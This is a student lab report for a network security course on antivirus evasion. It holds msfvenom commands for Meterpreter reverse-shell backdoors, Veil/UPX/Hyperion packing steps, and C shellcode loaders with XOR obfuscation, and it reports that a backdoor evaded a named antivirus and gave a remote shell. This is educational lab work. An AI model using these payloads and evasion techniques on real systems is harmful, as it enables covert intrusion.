1.实验内容
1.1学习总结
本周的学习内容为恶意代码的概念、发展历史以及分析技术。我知晓了恶意代码的不同类型及其典型案例、攻击方式和危害。同时我了解了静态分析和动态分析所采用的技术方法。
1.2实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验过程
2.1.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(1)使用msf编码器进行恶意代码编写
①查看虚拟机的ip地址
②生成实验二所使用的后门程序
③生成完毕后在https://www.virustotal.com/gui/home/upload网站检测该程序,所得结果如下
④对生成的后门程序进行多次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe
编码一次检测结果:
编码十次检测结果:
编码二十次检测结果:
总的来说多次编码对于免杀效果的影响微乎其微
(2)使用msfvenom生成其它类型的文件
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.jar
输出jar文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.php
输出php文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.py
输出python文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.117.129 LPORT=2413 x> 20222413.apk
输出apk文件
所得免杀检测结果如下:
①jar
②php
③python
④apk
2.1.2使用veil,加壳工具
(1)veil下载完成后输入
veil
use evasion
use+payload类型,如use c/meterpreter/rev_tcp.py
输入list查看可使用的payload
set LHOST 192.168.117.129
set LPORT 2413
generate
20222413_veil
生成结果免杀效果如下:
①powershell
②C语言
③python
④ruby
(2)其他加壳工具
①使用upx对生成的c语言payload加压缩壳
upx 20222413_c_veil.exe -o 20222413_c_upxveil.exe
免杀检测结果:
②使用hyperion加密加壳
cp 20222413_c_veil.exe /usr/share/windows-resources/hyperion
将生成的C语言payload复制到hyperion文件夹中
wine hyperion.exe -v 20222413_c_veil.exe 20222413_c_veil_hyp.exe
使用hyperion对文件加密,生成的文件命名为20222413_c_veil_hyp.exe
免杀效果检测:
2.1.3使用C + shellcode编程
(1)使用msfvenom生成shellcode数组
(2)建立C文件
#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main() {
int (func)() = (int ()()) buf;
(func)();
}
(3)编译C文件
(4)免杀效果检测
2.2通过组合应用各种技术实现恶意代码免杀
(1)使用C+shellcode+异或进行免杀,生成shellcode代码
(2)使用C语言对shellcode进行异或处理
#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main(){
FILE *fptr;
fptr = fopen("shellcode.txt","w");
for(int i=0;i<sizeof(buf)-1;i++){
buf[i]^=0x01;
fprintf(fptr,"\x%x",buf[i]);
}
if(fptr==NULL){
printf("Error!");
exit(1);
}
fclose(fptr);
return 0;
}
使用gcc编译执行
得到异或后的shellcode
(3)使用异或的shellcode编写c文件
#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main() {
int i;
for(int i=0;i<sizeof(buf)-1;i++){
buf[i]^=0x01;
}
int (func)();
func = (int ()()) buf;
(func)();
}
(4)编译C文件为exe
(5)免杀效果检测
2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
(1)生成后门文件20222413.raw
(2)通过共享文件夹将20222413.raw传送到主机
(3)使用杀毒工具进行检测
所用杀毒软件为火绒,版本为6.0.3.0
查杀结果如下
生成的后门程序并未被杀毒软件发现
(4)kali进入msf控制台,配置完成后在主机端使用shell_launcher运行后门程序,随后可获取主机shell
3.问题及解决方案
- 问题1:在下载veil的时候,报错wget: unable to resolve host address
- 问题1解决方案:错误原因为无法解析主机地址,进入/etc/resolv.conf修改DNS,将DNS地址改为google域名服务器
在文件最后插入
nameserver 8.8.8.8
nameserver 8.8.4.4
4.实验问题回答
(1)杀软是如何检测出恶意代码的?
- 特征码扫描:分析比对文件特征码与已知的恶意代码的特征码是否相同
- 启发式扫描:分析程序的行为判断是否为恶意代码。当程序中出现恶意行为,如访问与修改系统资源时,将该程序判定为恶意代码。
- 沙盒模拟技术:将待检测文件置于隔离的虚拟环境中运行,分析其行为和函数调用是否出现恶意行为
- 云查杀技术:借助云计算技术迅速分析大量数据,识别新出现的恶意软件。
(2)免杀是做什么?
- 通过使用技术手段修改恶意代码,使其无法被杀毒软件检测到,从而可以在目标系统中运行。
(3)免杀的基本方法有哪些?
- 修改特征码,如加壳(加密壳与压缩壳)、encode编码、使用其他语言重写后编译
- 改变行为,使用反弹式连接、隧道技术、加密数据等不易被判定为恶意行为的通讯方式。
5.学习感悟、思考等
本次实验内容为恶意代码的免杀原理与实践。通过本次实验,我了解到如何使用msf编码器、veil、upx和hyperion加壳以及c+shellcode技术。令我印象深刻的是veil的下载,过程很繁琐,在下载过程中虚拟机重启后出现了黑屏的问题,只能重装虚拟机。虽然过程有一点折磨,但最终得到每种方法的免杀检测结果、了解更多网络攻防技术知识带来的获得感令人欣喜。
参考资料
- 实验指导书:https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_免杀原理与实践.md
- 附件:https://gitee.com/wildlinux/NetSec/attach_files